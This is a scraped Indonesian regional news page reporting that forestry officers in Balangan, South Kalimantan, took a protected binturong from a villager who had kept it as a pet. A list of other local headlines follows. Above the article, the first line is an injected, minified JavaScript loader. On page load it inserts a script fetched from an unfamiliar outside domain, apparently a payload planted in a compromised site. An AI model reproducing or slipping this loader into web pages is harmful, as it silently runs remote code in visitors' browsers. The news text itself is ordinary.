(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dishut Prov Kalsel

Bearcat (Binturong) Mantuyan Akhirnya Dievakuasi


PARINGIN,  Wardi terlihat pucat. Sesekali ia menyeka matanya yang basah. Terlalu berat bagi warga Desa Mantuyan Kecamatan Halong ini saat menyerahkan Hahaduk kepada petugas KPH Balangan, Kamis (25/7) tadi.

Wardi semula menolak melepas Musang Raya (nama lain Hahaduk). Ia terlalu sayang. Setelah diberi penjelasan bahwa hewan ini adalah jenis satwa dilindungi undang-undang dan hanya boleh dipelihara di lembaga konservasi yang memiliki izin menteri, pria ini akhirnya mau menyerahkan secara suka rela.

Wardi mengungkapkan, sebenarnya sudah banyak orang yang ingin membeli hewan ini. Bahkan, ada yang menawarnya hingga Rp 5 juta. Tetapi ia sangat mencintai Hahaduk. Tak ada niat sedikitpun untuk melepaskannya.

Musang Raya/Binturong atau Hahaduk dalam bahasa lokal (Arctictis binturong), adalah jenis musang bertubuh besar. Hewan berbulu hitam lebat ini bertampang mirip beruang. Berekor panjang, juga berkumis lebat dan panjang seperti kucing. Karenanya disebut Bearcat.

Pemakan daging ini adalah spesies terbesar dalam keluarga musang atau Viverridaem. Binturong dapat ditemukan di Selatan dan Asia Tenggara. Seperti di Bangladesh, Bhutan, Myanmar, Provinsi Yunnan Tiongkok, India, Indonesia, Laos, Malaysia, Nepal, Filipina ,Thailand, dan juga Vietnam.

Kasi Perlindungan Hutan KPH Balangan, Emir Faisal bersama Polhut dan Bakrim, pada Kamis (25/7) lalu, melakukan operasi di Desa Mantuyan Kecamatan Halong. Ada informasi warga di sana memelihara hewan dilindungi.

Setelah melakukan proses pengangkatan Binturong ke mobil petugas, tim berpamitan kepada Wardi dan warga setempat untuk kembali menuju kantor KPH Balangan. Satwa langka ini akan diserahkan kepada tim dari Seksi Konservasi Dinas Kehutanan Kalsel, yang telah menunggu di sana.

“Musang Raya diobservasi dulu oleh dokter hewan BKSDA, sebelum dilakukan pelepasliaran. Sebab, satwa ini sudah cukup lama dipelihara,” kata Emir Faisal. (kphbalangan)

Reporter : kphbalangan
Editor : Chell

Desy Arfianty

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

11 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

13 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

13 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

13 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

14 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

19 jam ago

This website uses cookies.